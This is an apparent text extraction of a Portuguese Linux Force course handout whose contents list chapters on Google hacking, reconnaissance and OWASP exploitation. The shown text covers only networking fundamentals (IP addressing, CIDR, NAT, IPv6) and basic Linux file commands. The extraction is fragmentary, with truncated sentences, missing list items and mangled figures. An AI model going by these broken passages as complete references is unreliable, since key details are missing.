Escolar Documentos
Profissional Documentos
Cultura Documentos
Apostila
Apostila
www.linuxforce.com.br
Conteúdo
2 Aprendendo GNU/Linux 32
2.1 Comandos e Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
2.1.1 O comando ls . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
2.1.2 Criação, movimentação, cópia e remoção de arquivos e diretó-
rios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
2.1.2.1 Criar arquivo . . . . . . . . . . . . . . . . . . . . . . . . 34
2.1.2.2 Curingas . . . . . . . . . . . . . . . . . . . . . . . . . . 35
2.1.2.3 Criando diretórios . . . . . . . . . . . . . . . . . . . . . 37
2.1.2.4 Removendo arquivos/diretórios . . . . . . . . . . . . . 38
2.1.2.5 Copiar arquivos/diretórios . . . . . . . . . . . . . . . . . 39
2.1.2.6 Mover ou renomear arquivos/diretórios . . . . . . . . . 40
2.2 FHS, Hierarquia dos Diretórios . . . . . . . . . . . . . . . . . . . . . . . 41
2.3 Estrutura de Diretórios GNU/Linux . . . . . . . . . . . . . . . . . . . . . 42
2.3.1 Diretório / . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
2.3.2 DIRETÓRIO /bin . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.3.3 Diretório /boot . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
2.3.4 Diretório /dev . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.3.5 Diretório /etc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
2.3.6 Diretório /lib . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
2.3.7 Diretório /media . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
2.3.8 Diretório /mnt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.3.9 Diretório /opt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.3.10 Diretório /sbin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.3.11 Diretório srv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
2.3.12 Diretório /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
2.3.13 Diretório /usr . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
2.3.14 Diretório /var . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
2.3.15 Diretório /proc . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
2.3.16 Diretório /sys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
2.3.17 Diretórios /home e /root . . . . . . . . . . . . . . . . . . . . . . . 55
2.3.18 Localização no sistema: find . . . . . . . . . . . . . . . . . . . . 56
2.3.19 xargs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
5 Google Hacking 85
5.1 Google Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
5.2 Comandos Avançados do Google . . . . . . . . . . . . . . . . . . . . . 85
5.2.1 intitle, allintitle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
5.2.2 inurl, allinurl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.2.3 filetype . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.2.4 allintext . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.2.5 site . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.6 link . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.7 inanchor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
5.2.8 daterange . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.9 cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.10 info . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
5.2.11 related . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
5.3 Google Hacking Database . . . . . . . . . . . . . . . . . . . . . . . . . . 89
5.4 Levantamento de informações . . . . . . . . . . . . . . . . . . . . . . . 89
6 Levantamento de Informações 91
6.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.2 Footprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.3 Por onde começar? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
6.4 Consulta a informações de domínio . . . . . . . . . . . . . . . . . . . . 93
6.5 Consultando servidores DNS . . . . . . . . . . . . . . . . . . . . . . . . 94
6.6 Consultando websites antigos . . . . . . . . . . . . . . . . . . . . . . . . 95
6.7 Webspiders . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
6.8 Netcraft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
6.9 Buscando relacionamentos . . . . . . . . . . . . . . . . . . . . . . . . . 97
6.10 Rastreamento de E-mails . . . . . . . . . . . . . . . . . . . . . . . . . . 98
6.11 Fingerprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
6.12 Fingerprint passivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
6.13 Fingerprint ativo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
6.13.1 Descobrindo um Sistema Operacional usando ICMP . . . . . . . 101
6.13.2 Calculando HOP . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
6.13.3 Fingerprint através do xprobe2 . . . . . . . . . . . . . . . . . . . 102
6.14 Contramedidas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
13.11.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166
13.12A9 – COMUNICAÇÕES INSEGURAS . . . . . . . . . . . . . . . . . . . 166
13.12.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 167
13.12.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
13.13A10 – FALHA AO RESTRINGIR ACESSO À URLS . . . . . . . . . . . . 168
13.13.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . . 168
Exemplos de dispositivos:
• Celulares
• Computadores
• Notebooks
• Tablets
• Televisores
• Video Games
Em computação, rede de área local (ou LAN, acrônimo de local area network),
ou ainda rede local, é uma rede de computadores utilizada na interconexão de equi-
Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores
As LANs são utilizadas para conectar estações, servidores, periféricos e outros dis-
positivos que possuam capacidade de processamento em uma casa, escritório, es-
cola e edifícios próximos.
A Wide Area Network (WAN), Rede de área alargada ou Rede de longa distância,
também conhecida como Rede geograficamente distribuída, é uma rede de com-
putadores que abrange uma grande área geográfica, com frequência um país ou
continente.
1.1.2.1 Internet
De acordo com a Internet World Stats, 1,96 bilhão de pessoas tinham acesso à In-
ternet em junho de 2010, o que representa 28,7% da população mundial. Segundo
a pesquisa, a Europa detinha quase 420 milhões de usuários, mais da metade da
população. Mais de 60% da população da Oceania tem o acesso à Internet, mas
esse percentual é reduzido para 6,8% na África. Na América Latina e Caribe, um
pouco mais de 200 milhões de pessoas têm acesso à Internet (de acordo com dados
de junho de 2010), sendo que quase 76 milhões são brasileiros.
1.1.2.2 Intranet
A intranet é uma rede de computadores privada que assenta sobre a suite de pro-
tocolos da Internet, porém, de uso exclusivo de um determinado local, como, por
exemplo, a rede de uma empresa, que só pode ser acessada por seus usuários
internos.
Pelo fato de sua aplicação, todos os conceitos TCP/IP se empregam à intranet, como,
por exemplo, o paradigma de cliente-servidor.
O termo foi utilizado pela primeira vez em 19 de Abril de 1995, num artigo de autoria
técnica de Stephen Lawton, na Digital News & Reviews.
1.1.2.3 Extranet
Tomado o termo em seu sentido mais amplo, o conceito confunde-se com Intranet.
Uma Extranet também pode ser vista como uma parte da empresa que é estendida a
usuários externos ("rede extra-empresa"), tais como representantes e clientes. Outro
uso comum do termo Extranet ocorre na designação da "parte privada"de um site,
onde somente "usuários registrados"podem navegar, previamente autenticados por
sua senha (login).
Rede Privada Virtual é uma rede de comunicações privada normalmente utilizada por
uma empresa ou um conjunto de empresas e/ou instituições, construída em cima de
uma rede de comunicações pública (como por exemplo, a Internet). O tráfego de
dados é levado pela rede pública utilizando protocolos padrão, não necessariamente
seguros.
VPNs seguras usam protocolos de criptografia por tunelamento que fornecem a con-
fidencialidade, autenticação e integridade necessárias para garantir a privacidade
das comunicações requeridas. Quando adequadamente implementados, estes pro-
tocolos podem assegurar comunicações seguras através de redes inseguras.
Deve ser notado que a escolha, implementação e uso destes protocolos não é algo
trivial, e várias soluções de VPN inseguras são distribuídas no mercado. Adverte-se
os usuários para que investiguem com cuidado os produtos que fornecem VPNs. Por
si só, o rótulo VPN é apenas uma ferramenta de marketing.
Os termos: LAN, WAN, MAN, internet, intranet, extranet e VPN deste texto
foram extraidos do site http://pt.wikipedia.org
O modelo OSI (Open Systems Interconnection) foi desenvolvido pela ISO (Internati-
onal Standard Organization) com o objetivo de criar uma estrutura para definição de
padrões para a conectividade e interoperabilidade de sistemas heterogêneos. Define
Tipos de conexão:
• Ponto-a-ponto ou multiponto
• Serial ou paralela
• Delimitação de quadro
• Detecção de erros
Para redes locais é dividido em dois subníveis: LLC (Logical Link Control) e MAC
(Media Access Control).
Funções características:
• Roteamento
Funções:
• Correção de erros
• Multiplexação
Responsável pelas transformações adequadas nos dados, antes do seu envio a ca-
mada de sessão. Essas transformações podem ser referentes à compressão de
textos, criptografia, conversão de padrões de terminais e arquivos para padrões de
rede e vice-versa.
Funções:
• Formatação de dados
• Rotinas de compressão
• Criptografia
• Processamento de transações: TP
• Terminal virtual: VT
• Gerência de rede
A função da camada Acesso à Rede é prover uma interface entre a camada Rede e
os elementos físicos da rede.
• IP (Internet Protocol)
Ela é equivalente à camada 4 do Modelo OSI. Seus dois principais protocolos são o
TCP e o UDP.
• Multiplexação
• Seqüenciamento
• Controle de fluxo
• Janelamento
No IPV4, os endereço IP são compostos por 4 blocos de 8 bits (32 bits no total),
que são representados através de números de 0 a 255, como "200.156.23.43"ou
"64.245.32.11".
Conforme a RFC 1918 as faixas de endereços começadas com "10", com "192.168"
ou com de "172.16" até "172.31" são reservadas para uso em redes locais e por isso
não são usados na internet. Os roteadores que compõe a grande rede são configura-
dos para ignorar estes pacotes, de forma que as inúmeras redes locais que utilizam
endereços na faixa "192.168.0.x"(por exemplo) podem conviver pacificamente.
Embora aparentem ser uma coisa só, os endereços IP incluem duas informações.
O endereço da rede e o endereço do host dentro dela. Em uma rede domés-
tica, por exemplo, você poderia utilizar os endereços "192.168.1.1", "192.168.1.2"e
"192.168.1.3", onde o "192.168.1."é o endereço da rede (e por isso não muda) e o
último número (1, 2 e 3) identifica os três micros que fazem parte dela.
Os micros da rede local podem acessar a internet através de um roteador, que pode
ser tanto um servidor com duas placas de rede, quando um modem ADSL ou outro
dispositivo que ofereça a opção de compartilhar a conexão. Neste caso, o roteador
passa a ser o gateway da rede e utiliza seu endereço IP válido para encaminhar as
requisições feitas pelos micros da rede interna. Este recurso é chamado de NAT
(Network Address Translation).
O grande problema é que os endereços são sempre divididos em duas partes, rede
e host. Nos endereços de classe A, o primeiro octeto se refere à rede e os três octe-
tos seguintes referem-se ao host. Temos apenas 126 faixas de endereços classe A
disponíveis no mundo, dadas a governos, instituições e até mesmo algumas empre-
sas privadas, como por exemplo a IBM. As faixas de endereços classe A consomem
cerca de metade dos endereços IP disponíveis, representando um gigantesco des-
perdício, já que nenhuma das faixas é completamente utilizada. Será que a IBM
utiliza todos os 16 milhões de endereços IP a que tem direito? Certamente não.
Mesmo nos endereços classe B (dois octetos para a rede, dois para o host, garan-
tindo 65536 endereços) e nos classe C (três octetos para a rede e um para o host,
ou seja, apenas 256 endereços) o desperdício é muito grande. Muitas empresas
alugam faixas de endereços classe C para utilizar apenas dois ou três endereços por
exemplo.
Para piorar, parte dos endereços estão reservados para as classes D e E, que jamais
foram implementadas. Isto faz com que já haja uma grande falta de endereços,
principalmente os de classe A e B, que já estão todos ocupados.
A máscara de rede, juntamente com o endereço IP, define a rede o computador per-
tence, isto é, que outros endereços IP que o computador pode comunicar diretamente
na mesma LAN.
A fim de compreender a máscara lembre-se sempre que os 4 bytes que define tanto o
endereço IP e a máscara de rede poderiam ser representados em formato binário.
A máscara de rede é, por definição, uma seqüência de "1"a partir da esquerda para
a direita, seguido por um certo número de "0"(a faixa de rede). Devido a esta regra
a máscara de rede é muitas vezes representada com valores decimais, que soam
como um ou mais "255", seguido por um ou mais "0".
Utilizando máscaras de sub-rede padrão para cada classe de endereços, onde são
utilizados oito, dezesseis ou vinte e quatro bits para a máscara de rede, conforme
descrito a seguir:
Foi definida na RFC 1519 uma notação conhecida como CIDR (Classless Inter-
Domain Routing), onde a máscara de sub-rede é indicada simplesmente pelo número
de bits utilizados na máscara de sub-rede, conforme exemplos a seguir:
Analise o outro extremo desta questão. Imagine, por exemplo, uma empresa de
porte médio, que tem a matriz em São Paulo e mais cinco filiais em outras cidades
do Brasil. Agora imagine que em nenhuma das localidades, a rede tem mais do
que 30 computadores. Se for usado as máscaras de sub-rede padrão, teria que ser
definida uma rede Classe C (até 254 computadores), para cada localidade. Observe
que estamos reservando 254 números IP para cada localidade (uma rede classe C
com máscara 255.255.255.0), quando na verdade, no máximo, 30 números serão
utilizados em cada localidade. Na prática, um belo desperdício de endereços IP,
mesmo em um empresa de porte médio ou pequeno.
Observe que neste exemplo, uma única rede Classe C seria suficiente. Já que são
seis localidades (a matriz mais seis filiais), com um máximo de 30 endereços por
localidade, um total de 254 endereços de uma rede Classe C seria mais do que
suficiente. Ainda haveria desperdício, mas agora bem menor.
A boa notícia é que é possível “dividir” uma rede (qualquer rede) em sub-redes, onde
cada sub-rede fica apenas com uma faixa de números IP de toda a faixa original.
Para o exemplo da empresa com seis localidades (matriz mais cinco filiais), onde,
no máximo, são necessários trinta endereços IP por localidade, a utilização de uma
única rede classe C, dividida em 8 sub-redes seria a solução ideal. Na prática a
primeira e a última sub-rede são descartadas, pois o primeiro IP da primeira sub-
rede representa o endereço de rede e o último IP da última sub-rede representa o
endereço de broadcast. Com isso restariam, ainda, seis sub-redes. Exatamente a
quantia necessária para o exemplo proposto. Observe que ao invés de seis redes
classe C, bastou uma única rede Classe C, subdividida em seis sub-redes. Uma bela
economia de endereços. Claro que se um dos escritórios, ou a matriz, precisasse de
mais de 32 endereços IP, um esquema diferente de divisão teria que ser criado.
Em 1993, com a criação do protocolo HTTP e a liberação por parte do Governo dos
Estados Unidos para a utilização comercial da Internet, houve um salto ainda maior
na taxa de crescimento da rede, que passou de 2.056.000 de hosts em 1993 para
mais de 26.000.000 de hosts em 1997.
Diante desse cenário, a IETF (Internet Engineering Task Force) passa a discutir es-
tratégias para solucionar a questão do esgotamento dos endereços IP e do aumento
da tabela de roteamento. Em função disso, em novembro de 1991, é formado o grupo
de trabalho ROAD (ROuting and Addressing), que apresenta como solução a estes
problemas, a utilização do CIDR (Classless Inter-domain Routing).
Definido na RFC 4632 (tornou obsoleta a RFC 1519), o CIDR tem como idéia básica
o fim do uso de classes de endereços, permitindo a alocação de blocos de tamanho
apropriado a real necessidade de cada rede; e a agregação de rotas, reduzindo o
tamanho da tabela de roteamento. Com o CIDR os blocos são referenciados como
prefixo de redes. Por exemplo, no endereço a.b.c.d/x, os x bits mais significativos
indicam o prefixo da rede. Outra forma de indicar o prefixo é através de máscaras,
onde a máscara 255.0.0.0 indica um prefixo /8, 255.255.0.0 indica um /16, e assim
sucessivamente.
Outra solução, apresentada na RFC 2131 (tornou obsoleta a RFC 1541), foi o pro-
tocolo DHCP (Dynamic Host Configuration Protocol). Através do DHCP um host é
capaz de obter um endereço IP automaticamente e adquirir informações adicionais
como máscara de sub-rede, endereço do roteador padrão e o endereço do servidor
DNS local.
O DHCP tem sido muito utilizado por parte dos ISPs por permitir a atribuição de
endereços IP temporários a seus clientes conectados. Desta forma, torna-se des-
necessário obter um endereço para cada cliente, devendo-se apenas designar en-
dereços dinamicamente, através de seu servidor DHCP. Este servidor terá uma lista
de endereços IP disponíveis, e toda vez que um novo cliente se conectar à rede, lhe
será designado um desses endereço de forma arbitrária, e no momento que o cliente
se desconecta, o endereço é devolvido.
A NAT (Network Address Translation), foi outra técnica paliativa desenvolvida para
resolver o problema do esgotamento dos endereços IPv4. Definida na RFC 3022
(tornou obsoleta a RFC 1631), tem como ideia básica permitir que, com um único
endereço IP, ou um pequeno número deles, vários hosts possam trafegar na Internet.
Dentro de uma rede, cada computador recebe um endereço IP privado único, que é
utilizado para o roteamento do tráfego interno. No entanto, quando um pacote precisa
ser roteado para fora da rede, uma tradução de endereço é realizada, convertendo
Para tornar possível este esquema, utiliza-se os três intervalos de endereços IP de-
clarados como privados na RFC 1918, sendo que a única regra de utilização, é que
nenhum pacote contendo estes endereços pode trafegar na Internet pública. As três
faixas reservadas são:
A NAT quebra o modelo fim-a-fim da Internet, não permitindo conexões diretas en-
tre dois hosts, o que dificulta o funcionamento de uma série de aplicações, como
P2P, VoIP e VPNs. Outro problema é a baixa escalabilidade, pois o número de co-
nexões simultâneas é limitado, além de exigir um grande poder de processamento
do dispositivo tradutor. O uso da NAT também impossibilita rastrear o caminho de
pacote, através de ferramentas como traceroute, por exemplo, e dificulta a utilização
de algumas técnicas de segurança como IPSec. Além disso, seu uso passa uma
falsa sensação de segurança, pois, apesar de não permitir a entrada de pacotes não
autorizados, a NAT não realiza nenhum tipo de filtragem ou verificação nos pacotes
que passa por ela.
Embora estas soluções tenham diminuído a demanda por IPs, elas não foram sufici-
entes para resolver os problemas decorrentes do crescimento da Internet. A adoção
Essas medidas, na verdade, serviram para que houvesse mais tempo para se de-
senvolver uma nova versão do IP, que fosse baseada nos princípios que fizeram o
sucesso do IPv4, porém, que fosse capaz de suprir as falhas apresentadas por ele.
• Escalabilidade;
• Segurança;
• Suporte a QoS;
• Mobilidade;
• Políticas de roteamento;
• Transição.
Em janeiro de 1995, na RFC 1752 o IPng apresentou um resumo das avaliações das
três principais propostas:
• SIPP – concebido para ser uma etapa evolutiva do IPv4, sem mudanças radi-
cais e mantendo a interoperabilidade com a versão 4 do protocolo IP, fornecia
uma plataforma para novas funcionalidades da Internet, aumentava o espaço
para endereçamento de 32 bits para 64 bits, apresentava um nível maior de hi-
erarquia e era composto por um mecanismo que permitia “alargar o endereço”
chamado cluster addresses. Já possuía cabeçalhos de extensão e um campo
flow para identificar o tipo de fluxo de cada pacote.
Entretanto, conforme relatado também na RFC 1752, todas as três propostas apre-
sentavam problemas significativos. Deste modo, a recomendação final para o novo
Protocolo Internet baseou-se em uma versão revisada do SIPP, que passou a incor-
porar endereços de 128 bits, juntamente com os elementos de transição e autoconfi-
guração do TUBA, o endereçamento baseado no CIDR e os cabeçalhos de extensão.
O CATNIP, por ser considerado muito incompleto, foi descartado.
Após esta definição, a nova versão do Protocolo Internet passou a ser chamado
oficialmente de IPv6.
1.5 IPv6
1.5.1 Endereçamento
O IPv6 possui um espaço para endereçamento de 128 bits, sendo possível obter
340.282.366.920.938.463.463.374.607.431.768.211.456 endereços (2128). Este va-
lor representa aproximadamente 79 octilhões (7,9×1028) de vezes a quantidade de
endereços IPv4 e representa, também, mais de 56 octilhões (5,6×1028) de endere-
ços por ser humano na Terra, considerando-se a população estimada em 6 bilhões
de habitantes.
• Endereços Unicast
Identificadores de interface
Endereços Multicast
Os 32 bits dos endereços IPv4 são divididos em quatro grupos de 8 bits cada, separa-
dos por “.”, escritos com dígitos decimais. Por exemplo: 192.168.0.10. A representa-
ção dos endereços IPv6, divide o endereço em oito grupos de 16 bits, separando-os
por “:”, escritos com dígitos hexadecimais (0-F). Por exemplo:
• 2001:0DB8:AD1F:25E2:CADE:CAFE:F0CA:84C1
Além disso, regras de abreviação podem ser aplicadas para facilitar a escrita de
alguns endereços muito extensos. É permitido omitir os zeros a esquerda de cada
bloco de 16 bits, além de substituir uma sequência longa de zeros por “::”.
Esta abreviação pode ser feita também no fim ou no início do endereço, como ocorre
em 2001:DB8:0:54:0:0:0:0 que pode ser escrito da forma 2001:DB8:0:54::.
de sub-rede apresentado a seguir indica que dos 128 bits do endereço, 64 bits são
utilizados para identificar a sub-rede.
• Prefixo 2001:db8:3003:2::/64
• ID da sub-rede 3003:2
Com relação a representação dos endereços IPv6 em URLs (Uniform Resource Lo-
cators), estes agora passam a ser representados entre colchetes. Deste modo, não
haverá ambiguidades caso seja necessário indicar o número de uma porta junta-
mente com a URL. Observe os exemplos a seguir:
• http://[2001:12ff:0:4::22]/index.html
• http://[2001:12ff:0:4::22]:8080
• Unicast – este tipo de endereço identifica uma única interface, de modo que
um pacote enviado a um endereço unicast é entregue a uma única interface;
Diferente do IPv4, no IPv6 não existe endereço broadcast, responsável por direcionar
um pacote para todos os nós de um mesmo domínio. No IPv6, essa função foi
atribuída à tipos específicos de endereços multicast.
• Link Local – podendo ser usado apenas no enlace específico onde a interface
está conectada, o endereço link local é atribuído automaticamente utilizando
o prefixo FE80::/64. Os 64 bits reservados para a identificação da interface
são configurados utilizando o formato IEEE EUI- 64. Vale ressaltar que os
roteadores não devem encaminhar para outros enlaces, pacotes que possuam
como origem ou destino um endereço link-local
• Unique Local Address (ULA) – endereço com grande probabilidade de ser glo-
balmente único, utilizado apenas para comunicações locais, geralmente dentro
de um mesmo enlace ou conjunto de enlaces. Um endereço ULA não deve
ser roteável na Internet global.Um endereço ULA, criado utilizado um ID globa
alocado pseudo-randomicamente, é composto das seguintes partes:
Prefixo: FC00::/7.
Sua utilização permite que qualquer enlace possua um prefixo /48 privado e único
globalmente. Deste modo, caso duas redes, de empresas distintas por exemplo,
sejam interconectadas, provavelmente não haverá conflito de endereços ou neces-
sidade de renumerar a interface que o esteja usando. Além disso, o endereço ULA
é independente de provedor, podendo ser utilizado na comunicação dentro do en-
lace mesmo que não haja uma conexão com a Internet. Outra vantagem, é que seu
prefixo pode ser facilmente bloqueado, e caso um endereço ULA seja anunciado aci-
dentalmente para fora do enlace, através de um roteador ou via DNS, não haverá
conflito com outros endereços.
Normalmente utiliza-se um IID de 64 bits, que pode ser obtido de diversas formas.
Ele pode ser configurado manualmente, a partir do mecanismo de autoconfiguração
stateless do IPv6, a partir de servidores DHCPv6 (stateful), ou formados a partir
de uma chave pública (CGA). Estes métodos serão detalhados no decorrer deste
curso.
48-1E-C9-21-85-0C
48-1E-C9-FF-FE-21-85-0C
48 = 01001000
01001000 → 01001010
01001010 = 4A
• IID = 4A-1E-C9-FF-FE-21-85-0C
nem usado como endereço de origem em pacotes IPv6 enviados para outros
nós. Além disso, um pacote IPv6 com um endereço loopback como destino não
pode ser enviado por um roteador IPv6, e caso um pacote recebido em uma in-
terface possua um endereço loopback como destino, este deve ser descartado;
Este esquema de endereçamento pode ser utilizado para descobrir serviços na rede,
como servidores DNS e proxies HTTP, garantindo a redundância desses serviços.
Também pode-se utilizar para fazer balanceamento de carga em situações onde
múltiplos hosts ou roteadores provem o mesmo serviço, para localizar roteadores
que forneçam acesso a uma determinada sub-rede ou para localizar os Agentes de
Origem em redes com suporte a mobilidade IPv6.
Também foi definido um endereço anycast para ser utilizado no suporte a mobili-
dade IPv6. Este tipo de endereço é formado pelo prefixo da sub-rede seguido pelo
IID dfff:ffff:ffff:fffe (ex.: 2001:db8::dfff:ffff:ffff:fffe). Ele é utilizado pelo Nó Móvel,
quando este precisar localizar um Agente Origem em sua Rede Original.
No IPv4, o suporte a multicast é opcional, já que foi introduzido apenas como uma
extensão ao protocolo. Entretanto, no IPv6 é requerido que todos os nós suportem
multicast, visto que muitas funcionalidades da nova versão do protocolo IP utilizam
esse tipo de endereço. Seu funcionamento é similar ao do broadcast, dado que um
único pacote é enviado a vários hosts, diferenciando-se apenas pelo fato de que
no broadcast o pacote é enviado a todos os hosts da rede, sem exceção, enquanto
que no multicast apenas um grupo de hosts receberá esse pacote. Deste modo, a
possibilidade de transportar apenas uma cópia dos dados a todos os elementos do
grupo, a partir de uma árvore de distribuição, pode reduzir a utilização de recurso
de uma rede, bem como otimizar a entrega de dados aos hosts receptores. Apli-
cações como videoconferência, distribuição de vídeo sob demanda, atualizações de
softwares e jogos on-line, são exemplos de serviços que vêm ganhando notoriedade
e podem utilizar as vantagens apresentadas pelo multicast. Os endereços multicast
não devem ser utilizados como endereço de origem de um pacote. Esses endereços
derivam do bloco FF00::/8, onde o prefixo FF, que identifica um endereço multicast,
é precedido por quatro bits, que representam quatro flags, e um valor de quatro bits
que define o escopo do grupo multicast. Os 112 bits restantes são utilizados para
identificar o grupo multicast.
Os quatro bits que representam o escopo do endereço multicast, são utilizados para
delimitar a área de abrangência de um grupo multicast. Os valores atribuídos a esse
campo são o seguinte:
• 0, F – reservados;
Para resolver esta questão, foram definidos dois algoritmos, um para selecionar o
endereço de origem e outro para o de destino. Esses algoritmos, que devem ser
implementados por todos os nós IPv6, especificam o comportamento padrão desse
nós, porém não substituem as escolhas feitas por aplicativos ou protocolos da ca-
mada superior.
• Endereços cujo tempo de vida não expirou tem preferência sobre endereços
com tempo de vida expirado;
• Endereços de técnicas de transição (ISATAP, 6to4, etc.) não podem ser utiliza-
dos se um endereço IPv6 nativo estiver disponível;
Estas regras devem ser utilizadas quando não houver nenhuma outra especificação.
As especificações também permitem a configuração de políticas que possam subs-
tituir esses padrões de preferências com combinações entre endereços de origem e
destino.
Uma das tantas vantagens do GNU/Linux é a variedade de comandos que ele ofe-
rece, afinal, para quem conhece comandos, a administração do sistema acaba se
tornando um processo mais rápido.
2.1.1 O comando ls
O comando “ls” possui muitos parâmetros, veremos aqui as opções mais utilizadas. A
primeira delas é o “-l” que lista os arquivos ou diretórios de uma forma bem detalhada
(quem criou, data de criação, tamanho, dono e grupo ao qual cada um pertence):
1 # ls -l /
2 drwxr -xr - x 4 root root 1024 2007 -01 -15 23:17 boot
Veja que a saída desse comando é bem detalhada. Falando sobre os campos, para
o primeiro caractere temos algumas opções:
Linux Force – www.linuxforce.com.br Aprendendo GNU/Linux
FIFO - Sigla para First In, First Out, que em inglês significa primeiro a entrar, pri-
meiro a sair. São amplamente utilizados para implementar filas de espera. Os ele-
mentos vão sendo colocados no final da fila e retirados por ordem de chegada. Pipes
(|) são um exemplo de implementação de FIFO.
Buffer - É uma região de memória temporária, usada para escrita e leitura de dados.
Normalmente, os buffers são utilizados quando existe uma diferença entre a taxa em
que os dados são recebidos e a taxa em que eles podem ser processados.
Com relação aos diretórios, é importante ressaltar que o tamanho mostrado não
corresponde ao espaço ocupado pelo diretório e seus arquivos e subdiretórios. Esse
espaço é aquele ocupado pela entrada no sistema de arquivos que corresponde ao
diretório.
1
2 # ls -a / root
3 .. aptitude . bashrc . profile . rnd . ssh . vmware
Veja que, da saída do comando anterior, alguns arquivos são iniciados por “.” (ponto).
Esses arquivos são ocultos. No Linux, arquivos e diretórios ocultos são iniciados
por um “.” (ponto). Listar arquivos de forma recursiva, ou seja, listar também os
subdiretórios que estão dentro do diretório ”/”:
1 # ls -R /
Como listar os arquivos que terminam com a palavra “.conf” dentro do diretório
“/etc”?
Como buscar no diretório raiz ”/ “ todos os diretórios que terminem com a letra “n”?
1 # ls -ld /* n
1 # cd ~
2 # touch arq1
3 # touch arq2 arq3 arq4 arq5
2.1.2.2 Curingas
Eles podem substituir uma palavra completa ou somente uma letra, seja para listar,
copiar, apagar, etc. São usados cinco tipos de curingas no GNU/Linux:
DICA: - A barra invertida serve para escapar um caracter especial, ela é co-
nhecida também como “backslash”.
1 # cd ~
2 # touch arq {1 ,2 ,3}. txt arq {4 ,5}. new
1 # ls
2 arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 .
new
1 # ls *
2 arq1 arq1 . txt arq2 arq2 . txt arq3 arq3 . txt arq4 arq4 . new arq5 arq5 .
new
1 # ls * new *
2 arq4 . new arq5 . new
Listar todos os arquivos que começam com qualquer nome e terminam com “.txt”:
1 # ls *. txt
2 arq1 . txt arq2 . txt arq3 . txt
Listar todos os arquivos que começam com o nome “arq”, tenham qualquer caractere
no lugar do curinga, e terminem com “.txt”:
1 # ls arq ?. txt
2 arq1 . txt arq2 . txt arq3 . txt
Para listar todos os arquivos que começam com o nome “arq”, tenham qualquer ca-
ractere entre o número “1-3” no lugar da 4ª letra e terminem com “.txt”. Neste caso,
se obtém uma filtragem mais exata, pois o curinga especifica qualquer caractere na-
quela posição e ”[ ]” especifica um intervalo de números ou letras que será usado:
1 # ls *. new
2 # ls * new *
3 # ls arq ?. new
4 # ls arq [4 ,5].*
5 # ls arq [4 ,5]. new
Existem muitas outras sintaxes possíveis para obter o mesmo resultado. A mais indi-
cada será sempre aquela que atender à necessidade com o menor esforço possível.
A criatividade nesse momento conta muito. No exemplo anterior, a última forma re-
sulta na busca mais específica. O que pretendemos é mostrar como visualizar mais
de um arquivo de uma só vez. O uso de curingas é muito útil e pode ser utilizado em
todas as ações do sistema operacional referentes aos arquivos e diretórios: copiar ,
apagar, mover e renomear.
1 # mkdir aula
A opção “-p” permite a criação de diretórios de forma recursiva. Para que um sub-
diretório exista, o seu diretório diretamente superior tem que existir. Portanto a cri-
ação de uma estrutura como “/home/notas/2010/abril/semana3” exigiria a execução
de quatro comandos “mkdir”.
Algo como:
1 # mkdir notas
2 # mkdir notas / abril
3 # mkdir notas / abril / bimestre
4 # mkdir notas / abril / bimestre / prova
A opção “-p” permite que toda essa estrutura seja criada em uma única linha. As-
sim:
Exemplos:
1 # cd ~
2 # ls
3 # rm arq ?. txt
4 # ls
1 # rm -i arq4 . new
2 rm : remover arquivo comum vazio ‘ arq . new4 ’?
1 # rm -r notas
A opção “-r ” ou “-R” indica recursividade, ou seja, a remoção deverá ser do diretório
notas e de todo o seu conteúdo.
